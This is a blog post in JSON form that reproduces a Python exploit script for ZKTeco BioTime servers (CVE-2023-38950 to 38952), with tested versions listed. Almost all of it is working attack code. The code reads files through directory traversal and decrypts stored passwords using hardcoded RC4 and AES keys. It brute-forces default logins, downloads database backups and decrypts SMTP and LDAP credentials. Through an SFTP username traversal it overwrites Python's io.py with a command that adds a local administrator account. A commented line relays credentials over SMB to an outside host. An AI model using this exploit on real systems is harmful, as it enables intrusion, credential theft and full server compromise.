{"id":55763,"date":"2024-04-01T19:32:27","date_gmt":"2024-04-01T15:32:27","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/177859\/biotime901-exec.txt"},"modified":"2024-04-02T13:09:30","modified_gmt":"2024-04-02T08:39:30","slug":"biotime-directory-traversal-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/biotime-directory-traversal-remote-code-execution\/","title":{"rendered":"BioTime Directory Traversal \/ Remote Code Execution"},"content":{"rendered":"<p># __________.__ ___________.__<br \/>\n# \\______ \\__| ___\\__ ___\/|__| _____ ____<br \/>\n# | | _\/ |\/ _ \\| | | |\/ \\_\/ __ \\<br \/>\n# | | \\ ( &lt;_&gt; ) | | | Y Y \\ ___\/<br \/>\n# |______ \/__|\\____\/|____| |__|__|_| \/\\___ &gt;<br \/>\n# \\\/ \\\/ \\\/<br \/>\n# Tested on 8.5.5 (Build:20231103.R1905)<br \/>\n# Tested on 9.0.1 (Build:20240108.18753)<br \/>\n# BioTime, &#8220;time&#8221; for shellz!<br \/>\n# https:\/\/claroty.com\/team82\/disclosure-dashboard\/cve-2023-38952<br \/>\n# https:\/\/claroty.com\/team82\/disclosure-dashboard\/cve-2023-38951<br \/>\n# https:\/\/claroty.com\/team82\/disclosure-dashboard\/cve-2023-38950<br \/>\n# RCE by adding a user to the system, not the app.<br \/>\n# Relay machine creds over smb, while creating a backup<br \/>\n# Decrypt SMTP, LDAP or SFTP creds, if any.<br \/>\n# Get sql backup. Good luck cracking those hashes!<br \/>\n# Can use Banner to determine which version is running<br \/>\n# Server: Apache\/2.4.29 (Win64) mod_wsgi\/4.5.24 Python\/2.7<br \/>\n# Server: Apache\/2.4.52 (Win64) mod_wsgi\/4.7.1 Python\/3.7<br \/>\n# Server: Apache\/2.4.48 (Win64) mod_wsgi\/4.7.1 Python\/3.7<br \/>\n# Server: Apache =&gt; BioTime Version 9<br \/>\n# @w3bd3vil &#8211; Krash Consulting (https:\/\/krashconsulting.com\/fury-of-fingers-biotime-rce\/)<br \/>\nimport requests<br \/>\nfrom bs4 import BeautifulSoup<br \/>\nimport os<br \/>\nimport json<br \/>\nimport sys<br \/>\nfrom Crypto.Cipher import AES<br \/>\nfrom Crypto.Cipher import ARC4<br \/>\nimport base64<br \/>\nfrom binascii import b2a_hex, a2b_hex<\/p>\n<p>requests.packages.urllib3.disable_warnings()<\/p>\n<p>proxies = {<br \/>\n&#8216;http&#8217;: &#8216;http:\/\/127.0.0.1:8080&#8217;, # Proxy for HTTP traffic<br \/>\n&#8216;https&#8217;: &#8216;http:\/\/127.0.0.1:8080&#8242; # Proxy for HTTPS traffic<br \/>\n}<br \/>\nproxies = {}<\/p>\n<p>target = sys.argv[1]\n<p>def decrypt_rc4(base64_encoded_rc4, password=&#8221;biotime&#8221;):<br \/>\nencrypted_data = base64.b64decode(base64_encoded_rc4)<br \/>\ncipher = ARC4.new(password.encode())<br \/>\ndecrypted_data = cipher.decrypt(encrypted_data)<br \/>\nreturn decrypted_data.decode()<\/p>\n<p># base64_encoded_rc4 = &#8220;fj8xD5fAY6r6s3I=&#8221;<br \/>\n# password = &#8220;biotime&#8221;<\/p>\n<p># decrypted_data = decrypt_rc4(base64_encoded_rc4, password)<br \/>\n# print(&#8220;Decrypted data:&#8221;, decrypted_data)<\/p>\n<p>AES_PASSWORD = b&#8217;china@2018encryption#aes&#8217;<br \/>\nAES_IV = b&#8217;zkteco@china2019&#8242;<\/p>\n<p>def filling_data(data, restore=False):<br \/>\n&#8221;&#8217;<br \/>\n:param data: str<br \/>\n:return: str<br \/>\n&#8221;&#8217;<br \/>\nif restore:<br \/>\nreturn data[0:-ord(data[-1])]\nblock_size = AES.block_size # Use AES.block_size instead of None.block_size<br \/>\nreturn data + (block_size &#8211; len(data) % block_size) * chr(block_size &#8211; len(data) % block_size)<\/p>\n<p>def aes_encrypt(content):<br \/>\n&#8221;&#8217;<br \/>\nEncryption<br \/>\n:param content: str, The length of content must be times of AES.block_size, using filling_data to fill out<br \/>\n:return: str<br \/>\n&#8221;&#8217;<br \/>\nif isinstance(content, bytes):<br \/>\ncontent = str(content, &#8216;utf-8&#8217;)<br \/>\ncipher = AES.new(AES_PASSWORD, AES.MODE_CBC, AES_IV)<br \/>\nencrypted = cipher.encrypt(filling_data(content).encode(&#8216;utf-8&#8217;))<br \/>\nresult = b2a_hex(encrypted).decode(&#8216;utf-8&#8242;)<br \/>\nreturn result<\/p>\n<p>def aes_decrypt(content):<br \/>\n&#8221;&#8217;<br \/>\nDecryption<br \/>\n:param content: str or bytes, Encryption string<br \/>\n:return: str<br \/>\n&#8221;&#8217;<br \/>\nif isinstance(content, str):<br \/>\ncontent = content.encode(&#8216;utf-8&#8217;)<br \/>\ncipher = AES.new(AES_PASSWORD, AES.MODE_CBC, AES_IV)<br \/>\nresult = cipher.decrypt(a2b_hex(content)).decode(&#8216;utf-8&#8242;)<br \/>\nreturn filling_data(result, restore=True)<\/p>\n<p>#Check BioTime<br \/>\nurl = f'{target}\/license\/&#8217;<br \/>\nresponse = requests.get(url, proxies=proxies, verify=False)<br \/>\nhtml_content = response.content<\/p>\n<p>soup = BeautifulSoup(html_content, &#8216;html.parser&#8217;)<br \/>\nbuild_lines = [line.strip() for line in soup.get_text().split(&#8216;\\n&#8217;) if &#8216;build&#8217; in line.lower()]\n<p>build = None<br \/>\nfor line in build_lines:<br \/>\nbuild = line<br \/>\nprint(f&#8221;Found BioTime: {line}&#8221;)<br \/>\nbreak<\/p>\n<p>if build != None:<br \/>\nbuildNumber = build[0]\nelse:<br \/>\nprint(&#8220;Unsupported Target!&#8221;)<br \/>\nsys.exit(1)<\/p>\n<p># Dir Traversal<br \/>\nurl = f'{target}\/iclock\/file?SN=win&amp;url=\/..\/..\/..\/..\/..\/..\/..\/..\/windows\/win.ini&#8217;<br \/>\nresponse = requests.get(url, proxies=proxies, verify=False)<br \/>\ntry:<br \/>\nprint(&#8220;Dir Traversal Attempt\\nOutput of windows\/win.ini file:&#8221;)<br \/>\nprint(base64.b64decode(response.text).decode(&#8216;utf-8&#8242;))<br \/>\ntry:<br \/>\nurl = f'{target}\/iclock\/file?SN=att&amp;url=\/..\/..\/..\/..\/..\/..\/..\/..\/biotime\/attsite.ini&#8217;<br \/>\nresponse = requests.get(url, proxies=proxies, verify=False)<br \/>\nattConfig = base64.b64decode(response.text).decode(&#8216;utf-8&#8242;)<br \/>\n#print(f&#8221;Output of BioTime config file: {attConfig}&#8221;)<br \/>\nexcept:<br \/>\ntry:<br \/>\nurl = f'{target}\/iclock\/file?SN=att&amp;url=\/..\/..\/..\/..\/..\/..\/..\/..\/zkbiotime\/attsite.ini&#8217;<br \/>\nresponse = requests.get(url, proxies=proxies, verify=False)<br \/>\nattConfig = base64.b64decode(response.text).decode(&#8216;utf-8&#8217;)<br \/>\n#print(f&#8221;Output of BioTime config file: {attConfig}&#8221;)<br \/>\nexcept:<br \/>\nprint(&#8220;Couldn&#8217;t get BioTime config file (possibly non default configuration)&#8221;)<br \/>\nlines = attConfig.split(&#8216;\\n&#8217;)<\/p>\n<p>for i, line in enumerate(lines):<br \/>\nif &#8220;PASSWORD=@!@=&#8221; in line:<br \/>\ndec_att = decrypt_rc4(lines[i].split(&#8220;@!@=&#8221;)[1])<br \/>\nlines[i] = lines[i].split(&#8220;@!@=&#8221;)[0]+dec_att<br \/>\nattConfig_modified = &#8216;\\n&#8217;.join(lines)<br \/>\nprint(f&#8221;Output of BioTime Decrypted config file:\\n{attConfig_modified}&#8221;)<br \/>\nexcept:<br \/>\nprint(&#8220;Couldn&#8217;t exploit Dir Traversal&#8221;)<\/p>\n<p># Extract Cookies<br \/>\nurl = f'{target}\/login\/&#8217;<\/p>\n<p>response = requests.get(url, proxies=proxies, verify=False)<\/p>\n<p>if response.status_code == 200:<br \/>\nsoup = BeautifulSoup(response.text, &#8216;html.parser&#8217;)<\/p>\n<p>csrf_token_header = soup.find(&#8216;input&#8217;, {&#8216;name&#8217;: &#8216;csrfmiddlewaretoken&#8217;})<br \/>\nif csrf_token_header:<br \/>\ncsrf_token_header_value = csrf_token_header[&#8216;value&#8217;]\nprint(f&#8221;CSRF Token Header: {csrf_token_header_value}&#8221;)<\/p>\n<p>session_id_cookie = response.cookies.get(&#8216;sessionid&#8217;)<br \/>\nif session_id_cookie:<br \/>\nprint(f&#8221;Session ID: {session_id_cookie}&#8221;)<\/p>\n<p>csrf_token_value = response.cookies.get(&#8216;csrftoken&#8217;)<br \/>\nif csrf_token_value:<br \/>\nprint(f&#8221;CSRF Token Cookie: {csrf_token_value}&#8221;)<br \/>\nelse:<br \/>\nprint(f&#8221;Failed to retrieve data from {url}. Status code: {response.status_code}&#8221;)<\/p>\n<p># Login Now!<br \/>\ncookies = {<br \/>\n&#8216;sessionid&#8217;: session_id_cookie,<br \/>\n&#8216;csrftoken&#8217;: csrf_token_value<br \/>\n}<\/p>\n<p>for i in range(1,10):<br \/>\nusername = i<br \/>\npassword = &#8216;123456&#8217; # Deafult password!<\/p>\n<p>data = {<br \/>\n&#8216;username&#8217;: username,<br \/>\n&#8216;password&#8217;: password,<br \/>\n&#8216;captcha&#8217;:&#8221;,<br \/>\n&#8216;login_user&#8217;:&#8217;employee&#8217;<br \/>\n}<\/p>\n<p>headers = {<br \/>\n&#8216;User-Agent&#8217;: &#8216;Krash Consulting&#8217;,<br \/>\n&#8216;X-CSRFToken&#8217;: csrf_token_header_value<br \/>\n}<\/p>\n<p>response = requests.post(url, data=data, cookies=cookies, headers=headers, proxies=proxies, verify=False)<\/p>\n<p>if response.status_code == 200:<br \/>\njson_response = response.json()<br \/>\nret_value = json_response.get(&#8216;ret&#8217;)<br \/>\nif ret_value == 0:<br \/>\nprint(f&#8221;Valid Credentials found: Username is {username} and password is {password}&#8221;)<br \/>\nsession_id_cookie = response.cookies.get(&#8216;sessionid&#8217;)<br \/>\nif session_id_cookie:<br \/>\nprint(f&#8221;Auth Session ID: {session_id_cookie}&#8221;)<\/p>\n<p>csrf_token_value = response.cookies.get(&#8216;csrftoken&#8217;)<br \/>\nif csrf_token_value:<br \/>\nprint(f&#8221;Auth CSRF Token Cookie: {csrf_token_value}&#8221;)<br \/>\nbreak<\/p>\n<p>if i == 9:<br \/>\nprint(&#8220;No valid users found!&#8221;)<br \/>\nsys.exit(1)<\/p>\n<p># Check for Backups<br \/>\ndef downloadBackup():<br \/>\nurl = f'{target}\/base\/dbbackuplog\/table\/?page=1&amp;limit=33&#8242;<br \/>\ncookies = {<br \/>\n&#8216;sessionid&#8217;: session_id_cookie,<br \/>\n&#8216;csrftoken&#8217;: csrf_token_value<br \/>\n}<\/p>\n<p>response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)<br \/>\nresponse_data = response.json()<br \/>\nprint(&#8220;Backup files list&#8221;)<br \/>\nprint(json.dumps(response_data, indent=4))<\/p>\n<p>if response_data[&#8216;count&#8217;] &gt; 0:<br \/>\nbackup_info = response_data[&#8216;data&#8217;][0] # Latest Backup<br \/>\noperator_name = backup_info[&#8216;operator&#8217;]\nbackup_file = backup_info[&#8216;backup_file&#8217;]\ndb_type = backup_info[&#8216;db_type&#8217;]\n<p>print(&#8220;Operator:&#8221;, operator_name)<br \/>\nprint(&#8220;Backup File:&#8221;, backup_file)<br \/>\nprint(&#8220;Database Type:&#8221;, db_type)<\/p>\n<p>if buildNumber == &#8220;9&#8221;:<br \/>\ncreateBackup()<br \/>\nprint(&#8220;Backup File password: Krash&#8221;)<\/p>\n<p>#download = os.path.basename(backup_file)<\/p>\n<p>path = os.path.normpath(backup_file)<br \/>\ntry:<br \/>\nsplit_path = path.split(os.sep)<br \/>\nfiles_index = split_path.index(&#8216;files&#8217;)<br \/>\nrelative_path = &#8216;\/&#8217;.join(split_path[files_index + 1:])<br \/>\nexcept:<br \/>\nreturn False<\/p>\n<p>url = f'{target}\/files\/{relative_path}&#8217;<br \/>\nprint(url)<br \/>\nresponse = requests.get(url, proxies=proxies, verify=False)<br \/>\nif response.status_code == 200:<br \/>\nfilename = os.path.basename(url)<br \/>\nwith open(filename, &#8216;wb&#8217;) as file:<br \/>\nfile.write(response.content)<br \/>\nprint(f&#8221;File &#8216;{filename}&#8217; downloaded successfully.&#8221;)<br \/>\nelse:<br \/>\nprint(&#8220;Failed to download the file. Status code:&#8221;, response.status_code)<br \/>\nreturn False<br \/>\nelse:<br \/>\nprint(&#8220;No backup Found!&#8221;)<br \/>\nreturn True<\/p>\n<p>def createBackup(targetPath=None):<br \/>\nprint(&#8220;Attempting to create backup.&#8221;)<br \/>\nurl = f'{target}\/base\/dbbackuplog\/action\/?action_name=44424261636b75704d616e75616c6c79&amp;_popup=true&amp;id=&#8217;<br \/>\ncookies = {<br \/>\n&#8216;sessionid&#8217;: session_id_cookie,<br \/>\n&#8216;csrftoken&#8217;: csrf_token_value<br \/>\n}<br \/>\nresponse = requests.get(url, cookies=cookies, proxies=proxies, verify=False)<br \/>\nhtml_content = response.content<\/p>\n<p>soup = BeautifulSoup(html_content, &#8216;html.parser&#8217;)<br \/>\npathBackup = [line.strip() for line in soup.get_text().split(&#8216;\\n&#8217;) if &#8216;name=&#8221;file_path&#8221;&#8216; in line.lower()]\nprint(f&#8221;Possible backup location: {pathBackup}&#8221;)<\/p>\n<p>url = f'{target}\/base\/dbbackuplog\/action\/&#8217;<\/p>\n<p>if targetPath == None:<br \/>\nif buildNumber == &#8220;9&#8221; or build[:5] == &#8220;8.5.5&#8221;:<br \/>\ntargetPath = &#8220;C:\\\\ZKBioTime\\\\files\\\\backup\\\\&#8221;<br \/>\nelse:<br \/>\ntargetPath = &#8220;C:\\\\BioTime\\\\files\\\\fw\\\\&#8221;<br \/>\nif buildNumber == &#8220;9&#8221;:<br \/>\ndata = {<br \/>\n&#8216;csrfmiddlewaretoken&#8217;: csrf_token_value,<br \/>\n&#8216;file_path&#8217;:targetPath,<br \/>\n&#8216;action_name&#8217;: &#8216;44424261636b75704d616e75616c6c79&#8217;,<br \/>\n&#8216;backup_encryption_choices&#8217;: &#8216;2&#8217;,<br \/>\n&#8216;auto_backup_password&#8217;: &#8216;Krash&#8217;<br \/>\n}<br \/>\nelse:<br \/>\ndata = {<br \/>\n&#8216;csrfmiddlewaretoken&#8217;: csrf_token_value,<br \/>\n&#8216;file_path&#8217;:targetPath,<br \/>\n&#8216;action_name&#8217;: &#8216;44424261636b75704d616e75616c6c79&#8242;<br \/>\n}<br \/>\nresponse = requests.post(url, cookies=cookies, data=data, proxies=proxies, verify=False)<br \/>\nif response.status_code == 200:<br \/>\nprint(&#8220;Backup Initiated.&#8221;)<br \/>\nelse:<br \/>\nprint(&#8220;Backup failed!&#8221;)<\/p>\n<p>if downloadBackup():<br \/>\ncreateBackup()<br \/>\ndownloadBackup()<\/p>\n<p>url = f'{target}\/base\/api\/systemSettings\/email_setting\/&#8217;<br \/>\ncookies = {<br \/>\n&#8216;sessionid&#8217;: session_id_cookie,<br \/>\n&#8216;csrftoken&#8217;: csrf_token_value<br \/>\n}<\/p>\n<p>response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)<br \/>\nif response.status_code == 200:<br \/>\nresponse_data = response.json()<br \/>\nprint(&#8220;SMTP Settings&#8221;)<br \/>\nfor key in response_data:<br \/>\nif &#8216;password&#8217; in key.lower():<br \/>\nvalue = response_data[key]\n#print(f'{key} decrypted value {aes_decrypt(value)}&#8217;)<br \/>\nresponse_data[key] = aes_decrypt(value)<\/p>\n<p>print(json.dumps(response_data, indent=4))<\/p>\n<p>url = f'{target}\/base\/api\/systemSettings\/ldap_setup\/&#8217;<br \/>\ncookies = {<br \/>\n&#8216;sessionid&#8217;: session_id_cookie,<br \/>\n&#8216;csrftoken&#8217;: csrf_token_value<br \/>\n}<\/p>\n<p>response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)<br \/>\nif response.status_code == 200:<br \/>\nresponse_data = response.json()<br \/>\nprint(&#8220;LDAP Settings&#8221;)<br \/>\nfor key in response_data:<br \/>\nif &#8216;password&#8217; in key.lower():<br \/>\nvalue = response_data[key]\n#print(f'{key} decrypted value {aes_decrypt(value)}&#8217;)<br \/>\nresponse_data[key] = aes_decrypt(value)<br \/>\nprint(json.dumps(response_data, indent=4))<\/p>\n<p>def sftpRCE():<br \/>\nprint(&#8220;Attempting RCE!&#8221;)<br \/>\n#Add SFTP, Need valid IP\/credentials here!<br \/>\nprint(&#8220;Adding FTP List&#8221;)<\/p>\n<p>url = f'{target}\/base\/sftpsetting\/add\/&#8217;<br \/>\nmyIpaddr = &#8216;192.168.0.11&#8217;<br \/>\nmyUser = &#8216;test&#8217;<br \/>\nmyPassword = &#8216;test@123&#8217;<\/p>\n<p>cookies = {<br \/>\n&#8216;sessionid&#8217;: session_id_cookie,<br \/>\n&#8216;csrftoken&#8217;: csrf_token_value<br \/>\n}<br \/>\ndata = {<br \/>\n&#8216;csrfmiddlewaretoken&#8217;: csrf_token_value,<br \/>\n&#8216;host&#8217;:myIpaddr,<br \/>\n&#8216;port&#8217;:22,<br \/>\n&#8216;is_sftp&#8217;: 1,<br \/>\n&#8216;user_name&#8217;:myUser,<br \/>\n&#8216;user_password&#8217;:myPassword,<br \/>\n&#8216;user_key&#8217;:&#8221;,<br \/>\n&#8216;action_name&#8217;: &#8216;47656e6572616c416374696f6e4e6577&#8242;<br \/>\n}<br \/>\nresponse = requests.post(url, cookies=cookies, data=data, proxies=proxies, verify=False)<br \/>\nprint(response)<\/p>\n<p>url = f'{target}\/base\/sftpsetting\/table\/?page=1&amp;limit=33&#8217;<br \/>\ncookies = {<br \/>\n&#8216;sessionid&#8217;: session_id_cookie,<br \/>\n&#8216;csrftoken&#8217;: csrf_token_value<br \/>\n}<\/p>\n<p>response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)<br \/>\nresponse_data = response.json()<br \/>\nprint(&#8220;FTP List&#8221;)<br \/>\nprint(json.dumps(response_data, indent=4))<\/p>\n<p>backup_info = response_data[&#8216;data&#8217;][0] # Latest SFTP<br \/>\ngetID = backup_info[&#8216;id&#8217;]\n<p>if getID:<br \/>\nprint(&#8220;ID to edit &#8220;, getID)<\/p>\n<p>#Edit SFTP (Response can have errors, it doesn&#8217;t matter)<br \/>\nprint(&#8220;Editing SFTP Settings&#8221;)<br \/>\nif buildNumber == &#8220;9&#8221;:<br \/>\ndirTraverse = &#8216;\\..\\..\\..\\python311\\lib\\io.py&#8217;<br \/>\nelse:<br \/>\ndirTraverse = &#8216;\\..\\..\\..\\python37\\lib\\io.py&#8217;<\/p>\n<p>if len(dirTraverse) &gt; 30:<br \/>\nprint(&#8220;Directory Traversal length is greater than 30, will not work!&#8221;)<br \/>\nsys.exit(1)<\/p>\n<p>url = f'{target}\/base\/sftpsetting\/edit\/&#8217;<\/p>\n<p>cookies = {<br \/>\n&#8216;sessionid&#8217;: session_id_cookie,<br \/>\n&#8216;csrftoken&#8217;: csrf_token_value<br \/>\n}<br \/>\ndata = {<br \/>\n&#8216;csrfmiddlewaretoken&#8217;: csrf_token_value,<br \/>\n&#8216;host&#8217;:myIpaddr,<br \/>\n&#8216;port&#8217;:22,<br \/>\n&#8216;is_sftp&#8217;: 1,<br \/>\n&#8216;user_name&#8217;: dirTraverse,<br \/>\n&#8216;user_password&#8217;:myPassword,<br \/>\n&#8216;user_key&#8217;:&#8217;import os\\nos.system(&#8220;net user \/add omair190 KCP@ssw0rd &amp;&amp; net localgroup administrators &#8230;&#8217;,<br \/>\n&#8216;obj_id&#8217;: getID<br \/>\n}<br \/>\nresponse = requests.post(url, cookies=cookies, data=data, proxies=proxies, verify=False)<br \/>\nprint(&#8220;A new user should be added now on the server \\nusername: omair190\\npassword: KCP@ssw0rd&#8221;)<\/p>\n<p>#Delete SFTP<br \/>\nprint(&#8220;Deleting SFTP Settings&#8221;)<br \/>\nurl = f'{target}\/base\/sftpsetting\/action\/&#8217;<\/p>\n<p>cookies = {<br \/>\n&#8216;sessionid&#8217;: session_id_cookie,<br \/>\n&#8216;csrftoken&#8217;: csrf_token_value<br \/>\n}<br \/>\ndata = {<br \/>\n&#8216;csrfmiddlewaretoken&#8217;: csrf_token_value,<br \/>\n&#8216;id&#8217;: getID,<br \/>\n&#8216;action_name&#8217;: &#8216;47656e6572616c416374696f6e44656c657465&#8217;<br \/>\n}<br \/>\nresponse = requests.post(url, cookies=cookies, data=data, proxies=proxies, verify=False)<\/p>\n<p>#RCE<br \/>\nif buildNumber == &#8220;9&#8221; or build[:5] == &#8220;8.5.5&#8221;:<br \/>\nsftpRCE()<\/p>\n<p># #Relay Creds<br \/>\n# createBackup(&#8220;\\\\\\\\192.168.0.11\\\\KC\\\\test&#8221;)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># __________.__ ___________.__ # \\______ \\__| ___\\__ ___\/|__| _____ ____ # | | _\/ |\/ _ \\| | | |\/ \\_\/ __ \\ # | | \\ ( &lt;_&gt; ) | | | Y Y \\ ___\/ # |______ \/__|\\____\/|____| |__|__|_| \/\\___ &gt; # \\\/ \\\/ \\\/ # Tested on 8.5.5 (Build:20231103.R1905) # Tested on &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-55763","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55763","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=55763"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55763\/revisions"}],"predecessor-version":[{"id":55775,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55763\/revisions\/55775"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=55763"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=55763"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=55763"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}